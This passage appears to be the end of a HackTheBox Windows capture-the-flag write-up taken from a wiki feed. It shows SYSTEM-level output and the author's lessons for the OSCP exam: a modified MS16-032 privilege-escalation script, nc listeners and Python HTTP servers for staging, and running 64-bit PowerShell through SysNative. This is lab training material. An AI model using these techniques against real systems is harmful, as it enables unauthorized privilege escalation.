nt authority\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* I need to have the most used powershell commands and script sorted and available. Looking for them while taking the OSCP will be a time waster. * The unmodified MS16-032 script will open up a new terminal with root access. Since this wont work in this scenario because we have only a shell, I had to use a modified version. * There were multiple python HTTP servers and nc listeners running. Its important to have good control over which is which. Also, naming the scripts with an understable name is very effective. * Calling powershell using this path &amp;lt;code&amp;gt;C:\Windows\SysNative\WindowsPowershel\v1.0\powershell.exe&amp;lt;/code&amp;gt; allows us to run 64Bit binaries. System32 is &amp;#039;&amp;#039;&amp;#039;the 64-bit Windows system directory&amp;#039;&amp;#039;&amp;#039; and SysWOW64 is the 32-bit Windows system directory. Understanding this is crucial for exploits and other binaries to work. I&amp;#039;m still wrapping my head around this.&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Windows]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>